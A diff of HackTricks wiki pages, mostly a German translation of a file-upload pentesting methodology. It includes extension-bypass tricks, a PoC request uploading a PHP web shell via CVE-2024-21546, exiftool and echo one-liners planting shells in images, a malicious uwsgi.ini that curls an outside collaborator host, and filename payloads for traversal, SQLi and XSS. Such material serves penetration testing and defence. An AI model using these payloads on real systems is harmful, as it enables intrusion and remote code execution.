* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# File Upload
|
||||
# Datei-Upload
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File Upload - Allgemeine Methodik
|
||||
## Allgemeine Methodik für Datei-Uploads
|
||||
|
||||
Andere nützliche Erweiterungen:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -15,13 +15,13 @@ Andere nützliche Erweiterungen:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Umgehung von Prüfungen der Dateiendungen
|
||||
### Umgehen von Dateierweiterungsprüfungen
|
||||
|
||||
1. Falls angewendet, überprüfe die **vorherigen Extensions**. Teste sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Teste **das Hinzufügen einer gültigen Extension vor** der Ausführungs-Extension (verwende auch die vorherigen Extensions):_
|
||||
1. Falls vorhanden, prüfe die vorherigen Erweiterungen. Teste sie auch mit einigen Großbuchstaben: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungserweiterung (verwende auch die vorherigen Erweiterungen):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Versuche, **Sonderzeichen am Ende** hinzuzufügen. Du kannst Burp nutzen, um alle **ascii** und **Unicode** Zeichen zu **bruteforcen**. (_Beachte, dass du auch die **zuvor** genannten **Extensions** verwenden kannst_)
|
||||
3. Versuche, **spezielle Zeichen am Ende hinzuzufügen.** Du kannst Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**. (_Beachte, dass du auch versuchen kannst, die **zuvor genannten** **Erweiterungen** zu verwenden_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Andere nützliche Erweiterungen:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Versuche, die Protektionen zu umgehen, indem du den Extension-Parser auf Serverseite **täuschst**, z. B. durch **Doppeln** der **Extension** oder Einfügen von **Junk**-Daten (**null** bytes) zwischen den Extensions. _Du kannst auch die **vorherigen Extensions** nutzen, um ein besseres Payload vorzubereiten._
|
||||
4. Versuche, die Schutzmechanismen zu umgehen, indem du den serverseitigen Erweiterungsparser täuschst, mit Techniken wie dem Verdoppeln der Erweiterung oder dem Hinzufügen von Junk-Daten (**null** bytes) zwischen Erweiterungen. _Du kannst auch die **vorherigen Erweiterungen** verwenden, um ein besseres payload vorzubereiten._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@ Andere nützliche Erweiterungen:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Füge **eine weitere Schicht von Extensions** zu den vorherigen Checks hinzu:
|
||||
5. Füge eine weitere Ebene von Erweiterungen zur vorherigen Prüfung hinzu:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Versuche, die **Exec-Extension vor der gültigen Extension** zu platzieren und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Extension **.php**, aber **nicht notwendigerweise endend auf .php**, Code ausführt):
|
||||
6. Versuche, die Ausführungs-Erweiterung vor die gültige Erweiterung zu setzen und hoffe, dass der Server fehlkonfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung .php, aber nicht unbedingt mit der Endung .php, Code ausführt):
|
||||
- _ex: file.php.png_
|
||||
7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Extension** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster helfen, weitere Restriktionen zu umgehen (z. B. "file.asp::$data.")
|
||||
8. Versuche, die Dateinamensgrenzen zu sprengen. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
7. Verwendung von **NTFS alternate data stream (ADS)** unter **Windows**. In diesem Fall wird ein Doppelpunkt-Zeichen ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Als Ergebnis wird auf dem Server eine **leere Datei mit der verbotenen Erweiterung** erstellt (z. B. "file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Verwendung des kurzen Dateinamens. Das "**::$data**” Muster kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster ebenfalls nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
|
||||
8. Versuche, die Dateinamenlimits zu überschreiten. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Umgehung von Content-Type, Magic Number, Kompression & Resizing
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Umgehung von **Content-Type** Checks, indem der **Wert** des **Content-Type** Headers auf gesetzt wird: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **Wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Umgehung der **Magic Number** Prüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** eingefügt werden (verwirrt das _file_ Kommando). Oder man fügt das Shell-Skript in die **Metadaten** ein:\
|
||||
Einige Upload-Handler trimmen oder normalisieren nachgestellte Punktzeichen aus dem gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Erweiterungsvalidierung umgehen durch:
|
||||
|
||||
- Verwenden eines gültigen Image-MIME-Typs und Magic-Headers (z. B. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Die hochgeladene Datei mit einer PHP-Erweiterung gefolgt von einem Punkt benennen, z. B. `shell.php.`.
|
||||
- Der Server entfernt den nachgestellten Punkt und persistiert `shell.php`, das ausgeführt wird, wenn es in einem vom Web bedienten Verzeichnis platziert wird (standardmäßiger public storage wie `/storage/files/`).
|
||||
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Rufe dann den gespeicherten Pfad auf (typisch bei Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Gegenmaßnahmen:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Durchsetzen strenger serverseitiger allowlists und erneute Validierung des persistierten Dateinamens.
|
||||
- Uploads aus nicht-ausführbaren Speicherorten bereitstellen.
|
||||
|
||||
### Umgehen von Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks, indem man den **value** des **Content-Type** **header** auf setzt: _image/png_, _text/plain_, application/octet-stream
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass der **magic number**-Prüfung, indem man am Anfang der Datei die **bytes of a real image** hinzufügt (verwirrt das _file_ command). Oder die Shell in den **metadata** einbringen:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder man könnte das Payload **direkt in ein Bild einfügen**:\
|
||||
`\` oder du könntest das **payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Falls eine **Kompression** auf das Bild angewendet wird, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken oft nicht nützlich. Du könntest jedoch das **PLTE chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- Wenn auf dein Bild **compression** angewendet wird, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht mehr nützlich. Du könntest jedoch den **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** überlebt.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die Webseite könnte das **Bild auch skalieren**, z. B. mit den PHP-GD Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch das **IDAT chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- Die Webseite könnte das **image** auch skalieren (z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`). Du könntest jedoch den **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** übersteht.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Eine weitere Technik, um ein Payload zu erstellen, das **einem Image-Resizing standhält**, verwendet die PHP-GD Funktion `thumbnailImage`. Du kannst auch das **tEXt chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- Eine weitere Technik, um ein Payload zu erstellen, das ein Bild-Resizing überlebt, nutzt die PHP-GD-Funktion `thumbnailImage`. Du könntest jedoch den **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** überlebt.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Weitere Tricks zum Prüfen
|
||||
|
||||
- Finde eine Verwundbarkeit, die es erlaubt, die bereits hochgeladene Datei **umzubenennen** (um die Extension zu ändern).
|
||||
- Finde eine **Local File Inclusion** Verwundbarkeit, um die Backdoor auszuführen.
|
||||
- **Mögliche Informationslecks**:
|
||||
1. Lade **mehrfach** (und zur **gleichen Zeit**) dieselbe Datei mit demselben Namen hoch.
|
||||
2. Lade eine Datei mit dem **Namen** einer **bereits existierenden Datei** oder eines **Ordners** hoch.
|
||||
3. Lade eine Datei mit dem Namen **"."**, **".."** oder **"…"** hoch. Beispielsweise erstellt in Apache unter **Windows** der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/", wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert.
|
||||
4. Lade eine Datei, die nicht leicht gelöscht werden kann, wie z. B. **"…:.jpg"** unter **NTFS**. (Windows)
|
||||
5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** im Namen wie `|<>*?”`. (Windows)
|
||||
6. Lade eine Datei in **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9.
|
||||
- Versuche außerdem, eine **executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei zu **rename** (z. B. die Extension zu ändern).
|
||||
- Finde eine **Local File Inclusion**-Vulnerabilität, um die Backdoor auszuführen.
|
||||
- **Mögliche Informationsoffenlegung**:
|
||||
1. Lade dieselbe Datei **mehrfach** (und zur **gleichen Zeit**) mit demselben Namen hoch.
|
||||
2. Lade eine Datei hoch, deren **name** einer bereits existierenden **file** oder **folder** entspricht.
|
||||
3. Upload einer Datei mit **"." , ".." oder "…"** als Namen. Zum Beispiel: In Apache unter **Windows**, wenn die Anwendung hochgeladene Dateien im Verzeichnis "/www/uploads/" speichert, erzeugt die Datei mit dem Namen "." eine Datei namens "uploads" im Verzeichnis "/www/".
|
||||
4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"…:.jpg"** in **NTFS**. (Windows)
|
||||
5. Lade in **Windows** eine Datei mit **invalid characters** wie `|<>*?”` im Namen hoch. (Windows)
|
||||
6. Lade in **Windows** eine Datei mit **reserved** (**forbidden**) **names** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
- Versuche außerdem, eine **executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie vom Opfer versehentlich geöffnet wird.
|
||||
|
||||
### Spezielle Extension-Tricks
|
||||
### Special extension tricks
|
||||
|
||||
Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Wenn du versuchst, Dateien auf einen **ASP server** hochzuladen, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, siehe den **.htaccess**-Trick, um Code auszuführen: [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Wenn du Dateien auf einen **ASP server** hochladen willst, siehe den **.config**-Trick, um Code auszuführen: [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder in ein Script included werden...).
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für php, und können **wie eine php-Datei verwendet werden** (mit php ausgeführt oder in ein Skript inkludiert...).
|
||||
|
||||
Die `.inc` Extension wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren** von Dateien dienen, daher könnte an irgendeinem Punkt diese **Extension zur Ausführung erlaubt worden sein**.
|
||||
Die `.inc`-Extension wird manchmal für php-Dateien verwendet, die nur zum **Importieren von Dateien** dienen, sodass jemand zu einem Zeitpunkt diese **Extension zur Ausführung zugelassen haben könnte**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
|
||||
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Daher, wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Für eine detaillierte Untersuchung dieser Verwundbarkeit siehe die Original-Recherche: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Für eine detaillierte Untersuchung dieser Vulnerability siehe die Originalforschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) Verwundbarkeiten können bei uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini` Konfigurationsdatei zu verändern. uWSGI Konfigurationsdateien verwenden eine spezielle Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der '@' Operator, verwendet als `@(filename)`, ist dafür vorgesehen, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann für bösartige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden, wenn eine `.ini` Konfigurationsdatei verarbeitet wird.
|
||||
Remote Command Execution (RCE)-Vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magic" Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der '@'-Operator, verwendet als `@(filename)`, ist dazu gedacht, den Inhalt einer Datei einzuschließen. Unter den verschiedenen unterstützten schemes in uWSGI ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann missbraucht werden, z. B. für Remote Command Execution oder Arbitrary File Write/Read, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
|
||||
Betrachte das folgende Beispiel einer schädlichen `uwsgi.ini` Datei, die verschiedene Schemes demonstriert:
|
||||
Betrachte das folgende Beispiel einer bösartigen `uwsgi.ini`-Datei, die verschiedene schemes demonstriert:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (potenziell nach einem Crash oder aufgrund eines Denial of Service) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
|
||||
Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
|
||||
|
||||
Es ist entscheidend, die lockere Natur des Parsing der Konfigurationsdateien von uWSGI zu verstehen. Konkret kann der besprochene payload in eine binäre Datei (wie ein Bild oder PDF) eingefügt werden, wodurch der mögliche Exploit-Bereich weiter vergrößert wird.
|
||||
Es ist entscheidend, die nachlässige Natur des Parsings der uWSGI-Konfigurationsdatei zu verstehen. Konkret kann der hier diskutierte payload in eine Binärdatei (wie ein Image oder PDF) eingefügt werden, wodurch sich das potenzielle Exploit-Spektrum weiter erweitert.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget Datei-Upload/SSRF Trick**
|
||||
|
||||
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Prüfung kann jedoch umgangen werden.**\
|
||||
Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Man kann **eine Datei namens "A"\*232+".php"+".gif" herunterladen**, dieser Dateiname wird die **Prüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Extension ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
|
||||
In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und Sie die **URL** angeben können. In diesen Fällen prüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann **diese Prüfung umgangen werden.**\
|
||||
Die **maximale** Länge eines **Dateinamens** unter **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst eine Datei namens **"A"\*232+".php"+".gif"** herunterladen; dieser Dateiname wird die **Prüfung umgehen** (in diesem Beispiel ist **".gif"** eine **gültige** Erweiterung), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Beachte, dass **eine andere Option**, die dir möglicherweise einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei herunterladen wird, der in der ursprünglichen URL angegeben ist**.
|
||||
Beachte, dass eine **andere Option**, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den **HTTP server redirect to a different file** zu machen, sodass die ursprüngliche URL die Prüfung umgeht und wget anschließend die weitergeleitete Datei mit dem neuen Namen herunterladen würde. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die weitergeleitete Seite mit dem Namen der Datei herunterladen wird, der in der Original-URL angegeben ist**.
|
||||
|
||||
## Werkzeuge
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters dabei unterstützt, file upload-Mechanismen zu testen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters beim Testen von Datei-Upload-Mechanismen unterstützt. Es nutzt verschiedene bug bounty techniques, um den Prozess der Identifikation und Ausnutzung von Schwachstellen zu vereinfachen und umfassende Bewertungen von Webanwendungen zu ermöglichen.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Korruption von Upload-Indizes durch snprintf quirks (historisch)
|
||||
|
||||
Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu verleitet werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter einzelner Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und somit Logik verwirren, die eine feste Form annimmt (z. B. ihn als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute eher nischig, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älterem Code wieder auf.
|
||||
Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu erstellen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidung im Verhalten von `snprintf()` kann ein sorgfältig gestalteter Einzel-Upload auf der Serverseite wie mehrere indexierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. ihn als Multi-File-Upload behandelt und unsichere Zweige wählt). Obwohl heute eher Nische, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.
|
||||
|
||||
## Vom File-Upload zu anderen Schwachstellen
|
||||
## Von File upload zu anderen Schwachstellen
|
||||
|
||||
- Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen
|
||||
- Setze **filename** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen
|
||||
- Setze **filename** auf `<svg onload=alert(document.domain)>` um eine **XSS** zu erzielen
|
||||
